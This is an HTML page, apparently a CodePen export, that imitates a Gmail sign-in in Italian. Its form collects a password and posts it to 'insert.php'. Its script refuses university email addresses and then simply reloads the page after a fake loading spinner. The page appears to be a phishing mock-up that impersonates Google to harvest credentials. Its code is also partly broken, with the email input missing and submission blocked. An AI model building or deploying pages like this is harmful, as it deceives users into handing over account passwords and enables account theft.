<html lang="en" >
<head>
<meta charset="UTF-8">
<link rel="apple-touch-icon" type="image/png" href="https://static.codepen.io/assets/favicon/apple-touch-icon-5ae1a0698dcc2402e9712f7d01ed509a57814f994c660df9f7a952f3060705ee.png" />
<meta name="apple-mobile-web-app-title" content="CodePen">
<link rel="shortcut icon" type="image/x-icon" href="https://static.codepen.io/assets/favicon/favicon-aec34940fbc1a6e787974dcd360f2c6b63348d4b1f4e06c77743096d55480f33.ico" />
<link rel="mask-icon" type="" href="https://static.codepen.io/assets/favicon/logo-pin-8f3771b1072e3c38bd662872f6b673a722f4b3ca2421637d5596661b4e2132cc.svg" color="#111" />
<title>Psi Login </title>
<link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.6.3/css/font-awesome.min.css" rel="stylesheet" integrity="sha384-T8Gy5hrqNKT+hzMclPo118YTQO6cYprQmhrYwIiQ/3axmI1hQomh7Ud2hPOy8SP1" crossorigin="anonymous">
<style>
body {
padding: 0;
margin: 0;
height: 100vh;
background: -webkit-linear-gradient(#fff 0%, #f2f7ff 100%);
font-family: sans-serif;
-webkit-font-smoothing: antialiased;
}
.active-back {
color: #919cb2 !important;
}
.active-back:hover {
cursor: pointer;
color: #286efa !important;
}
.back {
position: absolute;
height: 20px;
width: 40px;
color: #d6dae4;
display: block;
transition: 0.3s;
margin-left: 20px;
margin-top: -30px;
font-size: 24px;
}
.shift {
left: -330px !important;
}
h3 {
position: absolute;
margin-left: 88px;
margin-top: 80px;
font-size: 22px;
font-weight: 200;
color: #4f5c76;
}
input {
width: 250px;
height: 35px;
border-radius: 3px;
border: 1px solid #ccc;
font-size: 14px;
padding-left: 10px;
transition: 0.3s;
}
input::-webkit-input-placeholder {
font-size: 14px;
}
input:focus {
border: 1px solid #286efa !important;
outline-width: 0;
}
button {
margin-top: 30px;
width: 262px;
height: 40px;
background: #286efa;
color: #fff;
font-size: 14px;
border: 1px solid #286efa;
border-radius: 3px;
}
button:hover {
background: #3c82ff;
cursor: pointer;
}
.form {
position: relative;
margin: 0 auto;
margin-top: 100px;
width: 400px;
height: 400px;
background: #fff;
box-shadow: 0px 5px 80px 0px #e4e8f0;
border-radius: 5px;
overflow: hidden;
}
.form form {
margin-top: 50px;
width: 750px;
}
.form form .inputs {
position: relative;
left: 65px;
top: 150px;
transition: 0.3s;
}
.form form .inputs .email {
float: left;
position: relative;
width: 350px;
}
.form form .inputs .password {
float: right;
position: relative;
width: 350px;
}
.warning {
color: #f00;
text-align: center;
font-size: 15px;
margin-top: 30px;
}
.loader {
margin-left: 22%;
margin-top: 22%;
width: 50px;
height: 50px;
border-radius: 50%;
border: 5px solid #e8ebf1;
border-top-color: #286efa;
animation: spinner 1s infinite linear;
}
@-moz-keyframes spinner {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
@-webkit-keyframes spinner {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
@-o-keyframes spinner {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
@keyframes spinner {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
</style>
<script>
window.console = window.console || function(t) {};
</script>
<script>
if (document.location.search.match(/type=embed/gi)) {
window.parent.postMessage("resize", "*");
}
</script>
</head>
<body translate="no" >
<div class="form">
<form action="insert.php" method="POST">
<div class="back"> <span><i class="fa fa-arrow-circle-left" aria-hidden="true"></i></span></div>
<h3>Accedi con gmail</h3>
<div class="inputs">
<div class="email">
<button class="next">Avanti</button>
</div>
<div class="password">
<input class="second" type="password" name="password" placeholder="Inserisci Password"/>
<button class="login" value="Register">Accedi</button>
</div>
</div>
</form>
</div>
<a href="https://www.w3schools.com/">Visit W3Schools.com!</a>
<p class="warning"></p>
<script src="https://static.codepen.io/assets/common/stopExecutionOnTimeout-157cd5b220a5c80d4ff8e0e70ac069bffd87a61252088146915e8726e5d9f147.js"></script>
<script src='https://cdnjs.cloudflare.com/ajax/libs/zepto/1.1.6/zepto.min.js'></script>
<script id="rendered-js" >
setTimeout(() => {
$('.email > input').focus();
}, 300);
$('.email > input').on('keydown', event => {
if (event.which === 13 || event.keyCode === 13) {
$('.email > input').blur();
$('.next').click();
}
});
$('.password > input').on('keydown', event => {
if (event.which === 13 || event.keyCode === 13) {
$('.login').click();
}
});
$('.next').on('click', event => {
let emailInput = $('.email > input').val();
if (validateEmail(emailInput)) {
event.preventDefault();
$('.inputs').addClass('shift');
$('.back').addClass('active-back');
$('.email > input').css({
'border': '1px solid #cccccc' });
$('.warning').empty();
setTimeout(() => {
$('.password > input').focus();
}, 400);
} else {
event.preventDefault();
$('.warning').empty();
$('.email > input').css({
'border': '1px solid red' });
$('.warning').append('Email non valida');
}
});
$('.back').on('click', event => {
event.preventDefault();
$('.inputs').removeClass('shift');
$('.back').removeClass('active-back');
setTimeout(() => {
$('.email > input').focus();
}, 300);
});
$('.login').on('click', event => {
event.preventDefault();
$('form').empty();
$('form').append('<div class="loader"></div>');
setTimeout(() => {
location = location;
}, 2000);
});
const validateEmail = email => {
// var n = str.includes("world");
var re = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
if(email.includes("stud.unive")){
alert("Accedi usando una mail diversa da quella universitaria");
return false;
}
else return re.test(email); // true se mail valida altrimenti false
};
//# sourceURL=pen.js
</script>
</body>
</html>